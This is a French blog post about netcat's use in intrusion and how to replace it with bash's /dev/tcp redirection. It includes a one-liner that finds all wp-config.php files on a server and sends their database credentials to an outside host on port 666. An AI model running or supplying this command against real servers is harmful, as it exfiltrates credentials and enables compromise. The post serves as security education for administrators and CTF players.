[Hack] Les origines de NetCat

Loin de moi l'idée de vous parler de l'histoire "réelle" de Netcat dans cet article ...
Ni date, ni nom de développeur ... en réalité je vais plutôt vous parler de comment s'en passer dans certains cas ...
Et plus particulièrement dans un contexte de "hacking" ...

Netcat, un super outil ...

J'imagine que les développeurs de Netcat n'imaginaient pas à sa conception, qu'il serait majoritairement utilisé à des fins malsaines !

En réalité cet outil était destiné à "échanger des données" / "communiquer" entre plusieurs machines sur un port défini.

 

 

Simple d'utilisation, il permet d'instancier un "serveur" en 1 ligne :

nc -lvp 666

666 est le port par lequel transiteront les données (vous pouvez mettre celui que vous souhaitez).
Une fois instancier, le "serveur" permettra d'envoyer et de recevoir des données (du texte par exemple) sur les "clients" !

Là aussi, c'est très simple d'instancier un client :

nc <ip ou hostname du serveur> 666

Ici, il faudra juste renseigner l'adresse Ip ou le nom du serveur, suivi du port.

Une fois le client et le serveur en fonctionnement, vous pourrez leur faire s'échanger des données !

Fabuleux non ?!?

 

Netcat, une backdoor et une faille sur votre serveur ...

 

Là où le bât blesse, c'est qu'un pirate informatique peut profiter que netcat soit installé sur votre serveur pour en prendre le contrôle ...
Si Netcat peut recevoir des données, un pirate pourra alors "démarrer" un serveur qui aura pour mission de recevoir des instructions et de les exécuter !

  • Envoi de l'instruction : "Supprime moi toutes les données du serveur"
  • Réception de l'instruction : "Les données sont supprimées Patron !"

Bien entendu, ci-dessus reste un exemple basique, un pirate profitera surtout de netcat pour récupérer des données ... et ou ... pour transformer votre serveur en "Zombie" et donc lui faire commettre des actions illégales !

 

Contre-Mesure face à Netcat

La plupart des administrateurs systèmes sensibles à la sécurité de leurs entreprises ... et ou de leurs machines personnelles, supprimeront Netcat (celui-ci n'est normalement pas installé par défaut)

Les origines de Netcat

Le Hacker ... frustré et indigné par l'absence de Netcat ... pourra se rassurer ...
Il est très simple d'envoyer ou recevoir de la donnée en créant des requêtes TCP avec linux !
Et pour le coup ... aucun outil n'est requis pour cette action !

<action>   > /dev/tcp/<hostname ou ip>/<port> 

Par action, j'entends ici la possibilité d’exécuter une commande sur la machine et d'envoyer son retour à une autre machine (hostname/ip et port)

cat `find / -name wp-config.php | xargs`  > /dev/tcp/dyrk.org/666 

L'exemple ci-dessus par exemple va envoyer le contenu de tous les fichiers wp-config.php contenu sur le serveur (les fichiers de configuration WordPress qui contiennent les identifiants de la base de données) au serveur dyrk.org sur le port 666

 

Conclusion

Cet article vous aura permis de découvrir comment faire vos propre requêtes TCP en shell sans outils ;)
Aussi, j'espère vous avoir fortement dissuadé d'utiliser netcat ... sauf pour des audits de sécurité ^^

Enfin si vous êtes intéressé par le sujet, je vous invite à jeter un œil ici :
https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/

Partagez ce contenu

3 comments

  • Bonjour,

    est ce que ca marche même si on a mis en place un bon firewall ?

     

     

    • Il n’y a pas de bon ou de mauvais firewall.
      Dans un premier temps tout dépend de comment est configuré le firewall, mais après on rentre dans du cas par cas.
      Réponse suisse : Parfois ça marche … Parfois ça marche pas

  • Très intéressant, je vais tenter de le mettre en pratique dans mon prochain CTF :)
    Content d’avoir trouvé ton blog via ma river Shaarlo

Laisser une réponse

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *